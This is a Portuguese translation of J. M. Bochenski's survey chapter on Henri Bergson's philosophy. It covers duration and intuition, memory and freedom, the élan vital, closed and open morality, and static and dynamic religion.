HENRI BERGSON
por J. M. Bochenski
Tradução de Antônio Pinto de Carvalho.
in A Filosofia Contemporânea Ocidental.
Herder, São Paulo, 1968
A.
PROCEDÊNCIA E PARTICULARIDADES.
HENRI BERGSON (1859-1941) é o representante mais conceituado e original
da nova "filosofia da vida", a qual dele recebeu a forma mais acabada.
Contudo, embora mais tarde se tenha posto à testa do movimento, não se pode
dizer que tenha sido ele o seu fundador. Na própria
França, a Action de BLONDEL precedeu o Essai sur les
données immédiates de
Ia conscience de BERGSON. e também LE
ROY, que mais tarde seria discípulo de BERGSON, já anteriormente se havia
manifestado contra o mecanicismo. Todo este movimento está em relação com
a tendência espiritualista, voluntarista e personalista da filosofia francesa,
que, iniciada por MAINE
DE BIRAN, foi
em seguida representada por Félix RAVAISSON-MOLLIEN (1813-1900),
JULES LACHELIER (1832-1918) e ÉMILE BOUTROUX (1845-1921), de quem BERGSON foi discípulo. Contudo,
BERGSON
não se deixou ifluenciar somente por estes filósofos,
mas também pela "critica da ciência". Além disso, tomou igualmente
muitas idéias das teorias evolucionistas e utilitaristas inglesas; ele próprio
confessa que, de início, só a filosofia de HERBERT SPENCER lhe parecia ajustar-se
à realidade, e sua própria filosofia proveio da tentativa de aprofundar os
fundamentos do sistema spenceriano.
Contudo,
semelhante tarefa levou-o finalmente a repudiar completamente o spencerismo, que não cessou de combater daí em diante. A atividade
especulativa de BERGSON
exerceu-se,
sobretudo, em quatro obras que mostram claramente sua evolução espiritual.
O Essai sur les données immédiates
de Ia conscience (1889) contém a sua teoria
do conhecimento; Matière et Mémoire (1896) sua psicologia,
L’Évolution créatrice
(1907) sua metafísica fundada na biologia especulativa, Les
deux sources de la Morale et
de la Religion (1932)
sua ética e filosofia da religião. Todas estas obras tiveram êxito
extraordinário, que se explica não só porque BERGSON expunha uma filosofia
realmente nova e que correspondia às necessidades mais prementes da época,
mas também porque a exprimia numa linguagem de rara beleza. Por esse motivo
lhe foi atribuído, em 1927, o prêmio Nobel de literatura. A uma prodigiosa
clareza, a uma artística matização das expressões e a uma impressionante potência
de imaginação, alia ele extraordinária gravidade filosófica e uma acuidade
dialética sem par. Além disso, suas obras apóiam-se em conhecimentos sólidos,
adquiridos à custa de amplas e árduas pesquisas. Por tudo isto, BERGSON
foi capaz
de superar, a um tempo, o positivismo e o idealismo
do século XIX. É um dos pioneiros do espírito novo de nosso tempo.
B. DURAÇÃOE INTUIÇÃO. Segundo
a concepção do senso comum, admitida igualmente pela ciência, as propriedades
do mundo são a extensão, a multiplicidade numérica e o determinismo
causal. O mundo compõe-se de corpos sólidos extensos, cujas partes se
encontram espacialmente justapostas; é caracterizado por um espaço totalmente
homogêneo e por separações precisas, e todos os acontecimentos são
de antemão determinados por leis invariáveis. A ciência da natureza nunca
considera o movimento, mas só as posições sucessivas dos corpos; nunca as
forças, mas só os seus efeitos; a imagem do mundo traçada pela ciência natural
carece de dinamismo e de vida; o tempo, tal como o encara a ciência, não é,
em última instância, senão espaço; e quando a ciência natural pretende medir
o tempo, na realidade não mede senão o espaço.
Todavia,
podemos descobrir em nós mesmos, embora com esforço, uma realidade inteiramente
diferente. Esta realidade possui uma intensidade puramente qualitativa,
compõe-se de elementos absolutamente heterogêneos,
que, entretanto, se interpenetram, de sorte que não é possível discriminá-los
claramente uns dos outros; e, por último, esta realidade interior é livre.
Não é espacial nem calculável; de fato, não somente ela dura, senão que é duração pura,
e, como tal, completamente diferente do espaço e do tempo das ciências da
natureza. É um agir único e indivisível, um
alor (élan) e um .devir que não pode ser medido. Esta realidade
encontra-se, em principio, em constante fluir, nunca é, mas perpetuamente
devém.
A faculdade
humana que corresponde à matéria espacial é a inteligência, e esta caracteriza-se por sua exclusiva orientação para a ação.
É a ação que comanda, sem mais, a forma da inteligência.
Como para a ação necessitamos de coisas exatamente definidas, o objeto principal
da inteligência é o fixo corpóreo, inorganizado,
fragmentário; a inteligência não concebe claramente senão o imóvel. Seu domínio
é a matéria. Ela a capta para transformar os corpos em instrumentos; é o órgão
do homo faber e subordinado, essencialmente,
à construção de instrumentos. Dentro do domínio da matéria e graças à sua
afinidade essencial com a matéria, a inteligência não só capta os fenômenos,
como também a essência das coisas. BERGSON abandona
o fenomenismo de KANT
e dos
positivistas, e confere à inteligência, no domínio do corpóreo, a capacidade
de penetrar na essência das coisas. Segundo ele, a inteligência é também analítica,
ou seja, capaz de decompor segundo qualquer lei ou sistema e de recompor de novo. Suas
características são a clareza e a capacidade de distinguir.
Mas, ao mesmo
tempo, a inteligência caracteriza-se igualmente pelo fato de, por natureza,
lhe ser impossível compreender a duração real, a vida. Constituída de acordo
com a matéria, ela transfere as formas materiais, extensivas, calculáveis,
claras e determinadas, ao mundo da duração; interrompe a corrente vital única
e introduz nela a discontinuidade, o espaço e a
necessidade. Não pode sequer comprender o simples
movimento local, como o provam os paradoxos de ZENÃO.
Só podemos
conhecer a duração graças à intuição;
mas com ela conhecemo-la
diretamente e como algo íntimo. A intuição distingue-se por características
que se contrapõem às características da inteligência. Órgão
do homo sapiens, a intuição não está ao serviço da prática; seu
objeto é o fluente, o orgânico, o que está em marcha; só ela pode captar a
duração. Enquanto a inteligência analisa, decompõe, para preparar a ação,
a intuição é uma simples visão, que não decompõe nem compõe, mas vive a realidade
da duração. Não se adquire facilmente a intuição; tão habituados estamos ao
uso da inteligência que se torna necessária uma viragem
íntima violenta, contrária a nossas inclinações naturais, para podermos exercitar
a intuição, e só em momentos favoráveis e fugazes somos capazes de o fazer.
Em resumo, existem dois
domínios: de um lado, o domínio da matéria espacial e rígida, subordinado
à inteligência prática; de outro lado, o domínio da vida e da consciência
que dura, ao qual corresponde a intuição. Sendo a
atitude da inteligência exclusivamente prática, a filosofia não pode utilizar
senão a intuição. Os conhecimentos, obtidos por este meio, não podem ser expressos
em idéias claras e precisas, nem tampouco são possíveis as
demonstrações. A só coisa, que o filósofo pode fazer, é ajudar os outros a
experimentarem uma intuição semelhante à dele. Assim se explica a riqueza
de imagens sugestivas que as obras de BERGSON oferecem.
C. TEORIA
DO CONHECIMENTO E PSICOLOGIA. BERGSON aplicou seu método intuitivo em primeiro lugar aos problemas
da teoria do conhecimento. Tais problemas, diz ele, receberam até ao presente
três soluções clássicas: o dualismo corrente, o kantismo e o idealismo. Contudo,
estas três soluções estribam totalmente na falsa afirmação de que a percepção
e a memória são puramente especulativas, independentes da ação, quando na
realidade são completamente práticas, subordinadas à ação. Por sua
vez, o corpo não é mais do que um centro de ação. Destes princípios se infere
que a percepção não abarca senão uma parte da realidade; ela consiste, de
fato, numa seleção de imagens, das que são necessárias para cumprir a ação.
O idealismo engana-se; os objetos, de que o mundo se compõe, são "imagens verdadeiras" e não únicamente elementos da consciência. Tanto o realismo habitual
como o de KANT cometem
erro ainda maior, ao situarem entre a consciência e a realidade exterior o
espaço homogêneo, que consideram como indiferente.
De fato, o espaço é só uma forma subjetiva, em correspondência unicamente
com a ação humana.
BERGSON consolida sua teoria do conhecimento mediante uma
psicologia definida. Em primeiro lugar, repudia o materialismo, que
tira toda sua força do fato de a consciência depender do corpo – como se,
do fato de um vestido oscilar e cair com o gancho a que está suspenso, tivéssemos
de concluir que o vestido e o gancho são idênticos. Entre os fenômenos
psicológicos e os fisiológicos não existe sequer um paralelismo, o qual, aliás,
nada provaria. A prova disto é a memória pura. Com efeito, importa distinguir
dois tipos de memória: uma
memória mecânica, corporal, que consiste unicamente na repetição de uma
função tornada automática, e a memória pura, que reside nas imagens da lembrança.
Neste caso, não se pode falar de uma localização no cérebro, argumento
principal aduzido pelos materialistas. Se houvesse uma tal localização exata,
deveriam perder-se porções inteiras da memória por causa de certas lesões
cerebrais; na realidade muitas vezes só se verifica um enfraquecimento geral
da memória. Mais acertadamente talvez se pudesse comparar o cérebro a uma
espécie de gabinete destinado a transmitir sinais. Sua função não é a vida
propriamente espiritual. Por seu turno, a memória não é uma percepção atenuada,
mas um fenômeno essencialmente diferente.
A psicologia associacionista estriba no duplo erro de conceber
a duração como um espaço e o eu como um conjunto de coisas decalcadas pela
matéria. Estes mesmos erros conduzem ao determinismo psicológico, que
concebe os motivos como coisas simultâneas e o tempo como um caminho no espaço,
donde se infere, naturalmente, a negação da liberdade. Na realidade, nossas
ações provêm de nossa personalidade toda; a decisão cria algo de novo, o ato
sai do eu, unicamente do eu e, portanto, é inteiramente livre. O fato de a
liberdade ser negada tão freqüentemente, apesar de sua evidência imediata,
deve-se a que a inteligência forma um eu superficial, análogo ao corpo, e
encobre dessa maneira o eu real mais profundo, que não é senão criação
e duração.
D.
VIDA E EVOLUÇÃO. As duas doutrinas clássicas, pelas quais se pretendeu explicar
a vida, a mecanicista e a teleológica, erram por igual, visto
ambas negarem radicalmente a duração. Segundo a primeira, o organismo é uma
máquina de antemão determinada por
leis calculáveis, e, de acordo com a segunda, existe um plano acabado do mundo.
Ambas, sob certo aspecto, ampliam demasiado a noção de inteligência;
a inteligência é para operar e não para conhecer a vida. A filosofia precisa
superar estas duas doutrinas, especialmente o mecanicismo que nega simplesmente
fatos evidentes.
Do mesmo modo que no problema
psicofísico, também no problema da vida é possível observar um fenômeno que
mostra a falsidade do mecanicismo. Este fenômeno consiste na produção de órgãos
estruturalmente análogos em linhas evolutivas muito diferentes; assim, por
exemplo, o olho nos moluscos e nos vertebrados, cujas linhas de evolução devem
ter-se separado muito antes do momento em que adquiriram a vista. Servindo-se
deste fato e de muitas outras observações, BERGSONrepele o mecanicismo darwinista
e neodarwinista e, em geral, a concepção mecanicista
do órgão vivo. O órgão vivo deve ser considerado como a expressão complexa
de uma função simples; pode ser comparado a um quadro composto de
milhares de traços, mas que expressa a inspiração simples do artista. Sem
dúvida, o organismo contém um mecanismo, parece até ser um mecanismo. Mas
assim como num arco dividido em minúsculos segmentos, estes segmentos coincidem
aparentemente com a tangente, assim também a vida examinada em suas minúcias
com os métodos das ciências da natureza parece ser um mecanismo, mas não o
é.
A vida como um todo não
é nenhuma abstração. Em determinado momento surgiu em certos lugares do espaço
uma corrente vital que, através dos organismos desenvolvidos, vai passando
de um germe a outro. A corrente vital procura vencer os obstáculos que a matéria
lhe opõe; a materialidade de um organismo representa a totalidade dos obstáculos
contornados pela vida. A vida não procede logicamente, erra de quando em quando,
acumula-se em becos sem saída ou até volta para trás. Contudo, o ímpeto vital
geral persiste. A fim de poder desdobrar-se, o alor
vital (élan vital) divide-se em várias direções. Assim, surgiu, em
primeiro lugar, a grande divisão do reino vegetal e do reino animal: as plantas
acumulam diretamente a energia, para que os animais possam hauri-la nelas
e disponham da mesma como de matéria explosiva para a ação livre. As plantas
estão ligadas à terra e, nelas, a consciência ainda
se encontra entorpecida; só desperta no mundo animal.
O élan
vital subdivide-se ainda no mundo animal em duas direções diferentes,
como se experimentasse dois métodos: numa direção culmina nos insetos sociais,
na outra encontra seu acabamento no homem. Na primeira direção, a vida busca
mobilidade e flexibilidade mediante o
instinto, ou seja, mediante a capacidade
de utilizar ou até mesmo de criar instrumentos orgânicos; o instinto conhece
seus objetos por simpatia, desde dentro, e age de modo infalível mas sempre
uniforme. Ao invés, nos vertebrados desenvolve-se a inteligência, isto é, a faculdade de fabricar e utilizar instrumentos
anorgânicos. Por sua essência profunda, a inteligência não se orienta para
as coisas, mas para as relações, para as formas; conhece seu objeto só por
fora. Contudo, suas formas vazias podem encher-se de inumeráveis objetivos
e indefinidamente. A Inteligência perfeita ultrapassa suas fronteiras primitivas
e pode até encontrar aplicação fora do campo prático, para o qual foi propriamente
criada.
Finalmente,
aparece no homem, embora só em forma de fugazes arranques, a intuição, na qual o instinto se tornou desinteressado
e capaz de refletir sobre si mesmo. Além disso, o homem é livre. Todo este
curso evolutivo conduz, portanto, a libertação da consciência do homem, e
este aparece como o fim último da organização vital sobre o nosso planeta.
E. METAFÍSICA. Se o filósofo consente em mergulhar no oceano
de vida que nos cerca, pode tentar conceber a gênese dos corpos e da inteligência.
Esta intuição mostra que não só a vida e a consciência, mas a realidade
inteira é um devir. Não existem coisas, mas somenteações, e o ser é essencialmente
devir. "O devir encerra mais do que o ser". Só a nossa inteligência
e , por conseguinte, a ciência nos representam os corpos como rígidos. Na realidade, o próprio mundo material é movimento, alor, embora certamente em descenso
e dispersão. Com efeito existem no mundo duas espécies de movimento, um
movimento ascendente – o da vida – e outro movimento descendente – o da matéria.
A lei da matéria é a lei da degradação da energia; a vida luta contra esta
lei, sem contudo poder aboli-la; quando muito, consegue
retardar-lhe os efeitos. Poderíamos compreender este processo, comparando-o
ao vapor que sai em jatos pelas fendas de um vaso. Este vapor em contato com
o ar livre condensa-se em pequenas gotas que caem. Mas uma pequena parte do
vapor não se condensa imediatamente e esforça-se por elevar as gotas que caem.
De modo idêntico, do imenso reservatório da vida saem incessantemente uns
como que jatos, cada um dos quais caindo forma um mundo; as gotas que caem
são a matéria. Ou, para empregar outra imagem, o mundo com o movimento vital
é comparável a um braço erguido que torna a cair, em conseqüência do relaxamento
dos músculos: a matéria é como que um gesto criador que se desfaz. Mas estas
imagens são insuficientes, porque a vida é do domínio psicológico e é inespacial.
Processo
idêntico se passa na consciência. A Intuição tem a mesma direção que a vida,
a inteligência tem a direção contrária. Por isso a inteligência está essencialmente
coordenada à matéria. A intuição, pelo
contrário, mostra-nos a verdadeira realidade, na qual aparece a vida como
onda gigantesca que se espraia e logo em seguida é contida em quase toda sua
amplitude. Só num ponto foi vencido o obstáculo e o impulso encontra livre
saída. Esta liberdade aparece na forma humana. Pelo que, não sem razão, a
filosofia afirmou a liberdade do espírito em geral, sua independência relativamente
a matéria e sua provável sobrevivência após a morte.
Entretanto, a filosofia
extraviou-se, por haver utilizado a inteligência e seus conceitos. Valendo-se
de minuciosas análises, BERGSON
mostra
como surgiu a idéia da desordem (a saber, da contingência das duas
ordens possíveis, a vital e a geométrica)
e como se formou a idéia do nada, que é propriamente uma pseudo-idéia.
BERGSON investe contra os mais
importantes sistemas filosóficos do passado. A metafísica de PLATÃO e de ARISTÓTELES, seguindo a propensão natural
da inteligência, conseqüência dos conceitos que não fazem mais do que imitar a linguagem, subjugou a duração. Outro tanto
acontece fundamentalmente, embora com diferenças de pormenor, nos sistemas
modernos, como os de DESCARTES, SPINOZA, LEIBNIZ, no criticismo
de KANT
e principalmente em SPENCER. Neste último é onde se
manifesta com particular evidência o
caráter cinematográfico
de nosso pensamento: pretende
captar e representar a evolução por uma sucessão de estados do ser que se
desenvolve, e desconhece assim totalmente a verdadeira duração.
F. ÉTICA. Segundo BERGSON, há duas espécies de moral,
a moral fechada e a moral aberta. A moral fechada deriva dos fenômenos
mais gerais da vida; consiste numa pressão exercida pela sociedade, e as ações
que lhe correspondem são levadas a cabo de modo
automático, instintivamente. Só em casos excepcionais se trava luta entre
o eu individual e o social. A moral fechada é impessoal e triplamente fechada:
visa a conservação dos costumes sociais, faz coincidir quase inteiramente
o individual com o social, de sorte que a alma se move constantemente dentro
do mesmo círculo, e, por último, é sempre função de um grupo limitado e nunca
pode ser válida para a humanidade inteira, porque a coesão social, da qual
é função, repousa em grande parte na necessidade de autodefesa.
A par desta
moral fechada, que obriga absolutamente, existe a
moral aberta. Esta aparece encarnada em personalidades. eminentes,
em santos e heróis, e não é moral social, mas humana e pessoal. Não consiste
numa pressão, mas num apelo; não é fixa, mas essencialmente progressiva e
criadora. É aberta no sentido que abarca a vida inteira no amor, proporciona
até o sentimento da liberdade e coincide com o próprio princípio da vida.
Procede de uma emoção profunda que, do mesmo modo que o sentimento provocado
pela música, carece de objeto.
Todavia,
na realidade nem a moral fechada nem a moral aberta se apresentam em forma
pura; toda aspiração procura consolidar-se numa obrigação e esta, por sua
vez, procura captar a aspiração. Estas duas forças, das quais uma é infra-intelectual
e outra supra-intelectual, operam no campo da inteligência, e por isso o
moral é uma vida racional.
Como quer que seja, a moral fechada e a aberta constituem duas manifestações
complementares do mesmo valor vital.
G. FILOSOFIA DA RELIGIÃO.
A mesma divisão que se fez na moral se aplica igualmente
a religião: há uma religião estática e uma religião dinâmica. A religião
estática consiste numa reação defensiva da natureza contra os efeitos
da atividade da inteligência, que ameaçam oprimir o indivíduo ou dissolver
a sociedade. A religião estática prende o homem à vida e o indivíduo
à sociedade mediante fábulas que se assemelham a canções de berço.
A religião é obra da "função fabuladora" da inteligência. A inteligência,
em sentido estrito, ameaça desfazer a coesão social, e a natureza não pode
opor-lhe o instinto, cujo lugar foi precisamente substituído no homem pela
inteligência. Mas a natureza ajuda-se mediante a produção da função fabuladora.
Se o homem sabe, pela inteligência,
que tem de morrer, coisa que o animal não sabe, e se a inteligência
lhe ensina que entre a tentativa e o êxito desejado existe o espaço
desanimador do insondável, a natureza volta a ajudá-lo a suportar
este conhecimento amargo, fabricando, graças a sua função fabuladora,
deuses. O papel da função fabuladora nas sociedades humanas corresponde
ao do instinto nas sociedades animais.
A
religião dinâmica, o misticismo,
é algo inteiramente diferente.
Resulta de
um retorno na direção donde procede o élan vital, e
nasce da pressentida captação do inacessível a que
a vida aspira. Este
misticismo é próprio somente de homens
extraordinários. Não
se manifestou ainda entre os velhos
gregos, como nem em forma perfeita na Índia, onde
não deixou
de ser puramente especulativo. Contudo surgiu entre
os grandes místicos cristãos, que possuíam uma saúde espiritual
que se pode qualificar de perfeita. A
religião cristã aparece
como a cristalização deste misticismo, mas, por outro lado,
constitui o seu fundamento, porque os místicos são todos imitadores
originais, embora imperfeitos, daquele que nos deixou
o Sermão da Montanha.
A
experiência das místicos permite-nos defender não só a
probabilidade das concepções relativas à origem do élan
vital, como também a afirmação da existência
de Deus, que não se pode provar com argumentos lógicos. Os
místicos ensinam também que deus é o amor, e nada impede que
os filósofos desenvolvam a idéia, sugerida por eles, de o mundo
não ser mais do que um aspecto palpável deste amor e da necessidade
divina de amor. A base da experiência dos místicos, corroborada
pelas conclusões da psicologia, pode igualmente afirmar-se, com uma probabilidade
que toca nas raias da, certeza, a sobrevivência
após a morte.
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